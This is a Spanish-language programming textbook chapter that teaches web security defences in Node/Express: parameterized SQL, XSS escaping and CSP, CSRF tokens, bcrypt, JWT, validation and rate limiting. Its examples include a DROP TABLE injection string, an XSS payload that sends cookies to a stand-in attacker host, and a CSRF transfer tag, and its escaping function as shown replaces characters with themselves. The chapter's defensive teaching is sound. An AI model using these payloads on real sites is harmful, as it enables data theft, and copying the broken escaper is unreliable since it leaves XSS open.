Programación Web · Capítulo 17
Seguridad en Aplicaciones Web: Protegiendo tu Código
Conoce los ataques más comunes contra aplicaciones web y aprende las defensas concretas que todo desarrollador debe implementar.
1. Por Qué la Seguridad es Responsabilidad del Desarrollador
La seguridad no es un módulo que se añade al final — debe integrarse desde el diseño. Las brechas de seguridad cuestan millones de dólares y dañan la confianza de los usuarios irreparablemente. La OWASP (Open Web Application Security Project) publica cada cuatro años los diez riesgos más críticos en aplicaciones web.
2. Inyección SQL
El ataque más devastador y aún hoy el más común. Ocurre cuando datos del usuario se insertan directamente en una consulta SQL sin validación.
// ❌ VULNERABLE — nunca hagas esto
app.get("/usuarios", (req, res) => {
const nombre = req.query.nombre;
// Si nombre = "'; DROP TABLE usuarios; --"
// La consulta se convierte en código malicioso
const query = `SELECT * FROM usuarios WHERE nombre = '${nombre}'`;
db.query(query);
});
// ✅ SEGURO — consultas parametrizadas
app.get("/usuarios", async (req, res) => {
const nombre = req.query.nombre;
// Los parámetros se envían por separado — el driver los escapa
const [filas] = await db.execute(
"SELECT * FROM usuarios WHERE nombre = ?",
[nombre] // El ? nunca puede convertirse en SQL ejecutable
);
res.json(filas);
});
// Con PostgreSQL (pg):
const resultado = await pool.query(
"SELECT * FROM usuarios WHERE email = $1 AND activo = $2",
[email, true]
);
Regla de oro: Nunca concatenes datos del usuario en una consulta SQL. Siempre usa consultas parametrizadas o un ORM (Sequelize, Prisma, TypeORM) que las use internamente.
3. XSS — Cross-Site Scripting
Un atacante inyecta código JavaScript malicioso en una página que otros usuarios ven. Ese script puede robar cookies, redirigir usuarios o robar credenciales.
XSS Reflejado
// El atacante envía un enlace como:
// https://misitio.com/buscar?q=<script>fetch('https://malo.com/robar?c='+document.cookie)</script>
// ❌ VULNERABLE — insertar input del usuario sin sanitizar
app.get("/buscar", (req, res) => {
res.send(`<h1>Resultados para: ${req.query.q}</h1>`);
// Si q contiene <script>, se ejecuta en el navegador
});
// ✅ SEGURO — escapar caracteres especiales HTML
function escaparHTML(texto) {
return texto
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// O usar la librería DOMPurify en el frontend:
// import DOMPurify from "dompurify";
// const seguro = DOMPurify.sanitize(contenidoDelUsuario);
Content Security Policy (CSP)
// Header que le dice al navegador qué scripts puede ejecutar
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self' https://apis.google.com; style-src 'self' 'unsafe-inline'"
);
next();
});
// 'self' = solo scripts del mismo dominio
// Bloquea automáticamente scripts inyectados por terceros
4. CSRF — Cross-Site Request Forgery
Un sitio malicioso hace que el navegador del usuario envíe solicitudes autenticadas a tu aplicación sin que el usuario lo sepa.
// ❌ Escenario de ataque:
// El usuario está logueado en banco.com
// Visita sitio-malo.com que contiene:
// <img src="https://banco.com/transferir?monto=5000&destino=atacante">
// El navegador envía la solicitud CON las cookies del usuario
// ✅ Protección con tokens CSRF
const csrf = require("csurf");
const cookieParser = require("cookie-parser");
app.use(cookieParser());
app.use(csrf({ cookie: true }));
// En cada formulario, incluir el token CSRF
app.get("/formulario", (req, res) => {
res.render("formulario", { csrfToken: req.csrfToken() });
});
// El formulario HTML incluye el token oculto:
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// Las solicitudes sin token válido son rechazadas automáticamente
5. Hashing de Contraseñas con bcrypt
Nunca almacenes contraseñas en texto plano ni con MD5/SHA1. Usa bcrypt, argon2 o scrypt — algoritmos diseñados específicamente para contraseñas, con factor de trabajo ajustable.
const bcrypt = require("bcrypt");
// Al registrar: hashear la contraseña
async function registrarUsuario(email, contraseña) {
const saltRounds = 12; // Cuantas más vueltas, más seguro (y más lento)
const hash = await bcrypt.hash(contraseña, saltRounds);
// Guardar el hash en la base de datos, NUNCA la contraseña original
await db.execute(
"INSERT INTO usuarios (email, password_hash) VALUES (?, ?)",
[email, hash]
);
}
// Al hacer login: comparar con el hash
async function iniciarSesion(email, contraseñaIngresada) {
const [filas] = await db.execute(
"SELECT * FROM usuarios WHERE email = ?",
[email]
);
if (filas.length === 0) {
throw new Error("Credenciales inválidas"); // No revelar si el email existe
}
const usuario = filas[0];
const coincide = await bcrypt.compare(contraseñaIngresada, usuario.password_hash);
if (!coincide) {
throw new Error("Credenciales inválidas");
}
return usuario;
}
6. JWT — JSON Web Tokens
const jwt = require("jsonwebtoken");
const SECRET = process.env.JWT_SECRET; // Clave larga y aleatoria
// Generar token al hacer login
function generarToken(usuario) {
return jwt.sign(
{ id: usuario.id, email: usuario.email, rol: usuario.rol },
SECRET,
{ expiresIn: "7d" } // Expira en 7 días
);
}
// Middleware para verificar token en rutas protegidas
function verificarToken(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith("Bearer ")) {
return res.status(401).json({ error: "Token requerido" });
}
const token = authHeader.split(" ")[1];
try {
const payload = jwt.verify(token, SECRET);
req.usuario = payload; // Disponible en el siguiente middleware
next();
} catch (error) {
return res.status(401).json({ error: "Token inválido o expirado" });
}
}
// Usar el middleware en rutas protegidas
app.get("/api/perfil", verificarToken, (req, res) => {
res.json({ usuario: req.usuario });
});
7. Validación y Sanitización de Inputs
// Con la librería express-validator
const { body, validationResult } = require("express-validator");
app.post("/registro",
// Cadena de validaciones
body("email").isEmail().normalizeEmail(),
body("nombre").trim().isLength({ min: 2, max: 100 }).escape(),
body("edad").isInt({ min: 13, max: 120 }),
body("password").isLength({ min: 8 })
.matches(/^(?=.*[A-Z])(?=.*[0-9])/)
.withMessage("Debe contener mayúscula y número"),
async (req, res) => {
const errores = validationResult(req);
if (!errores.isEmpty()) {
return res.status(422).json({ errores: errores.array() });
}
// Aquí los datos son seguros para usar
const { email, nombre, edad, password } = req.body;
// ...
}
);
8. Rate Limiting
const rateLimit = require("express-rate-limit");
// Limitar intentos de login (protección contra fuerza bruta)
const limitadorLogin = rateLimit({
windowMs: 15 * 60 * 1000, // Ventana de 15 minutos
max: 5, // Máximo 5 intentos por IP
message: { error: "Demasiados intentos. Intenta en 15 minutos." },
standardHeaders: true
});
app.post("/api/auth/login", limitadorLogin, async (req, res) => {
// ...
});
// Límite general para toda la API
const limitadorGeneral = rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 100 // 100 solicitudes por minuto por IP
});
app.use("/api/", limitadorGeneral);
9. Headers de Seguridad con Helmet
const helmet = require("helmet");
// Helmet configura múltiples headers de seguridad automáticamente
app.use(helmet());
// Equivalente a configurar manualmente:
// X-Frame-Options: DENY → evita clickjacking
// X-Content-Type-Options: nosniff → evita MIME sniffing
// Referrer-Policy: no-referrer → no filtrar URL en referrer
// Strict-Transport-Security → forzar HTTPS
// Content-Security-Policy → restringir fuentes de scripts
| Vulnerabilidad | Prevención Principal |
| Inyección SQL | Consultas parametrizadas / ORM |
| XSS | Escapar output + CSP headers |
| CSRF | Tokens CSRF + SameSite cookies |
| Contraseñas débiles | bcrypt + validación de fortaleza |
| Fuerza bruta | Rate limiting + bloqueo temporal |
| Dependencias vulnerables | npm audit + actualizaciones regulares |
Resumen del Capítulo
- La inyección SQL se previene con consultas parametrizadas (
? o $1); nunca concatenes datos del usuario en SQL.
- El XSS se previene escapando el HTML antes de mostrarlo y configurando una Content Security Policy que bloquee scripts externos.
- Las contraseñas deben almacenarse como hashes con bcrypt (saltRounds ≥ 10); MD5 y SHA1 son inseguros para contraseñas.
- Los JWT permiten autenticación sin estado; verifica la firma en cada solicitud y establece tiempos de expiración cortos.
- Valida y sanitiza todos los inputs del usuario en el servidor, sin importar lo que el frontend ya valide.
- El rate limiting protege contra ataques de fuerza bruta; limita especialmente los endpoints de autenticación.
- Usa Helmet.js para configurar headers de seguridad HTTP y ejecuta
npm audit regularmente para detectar dependencias vulnerables.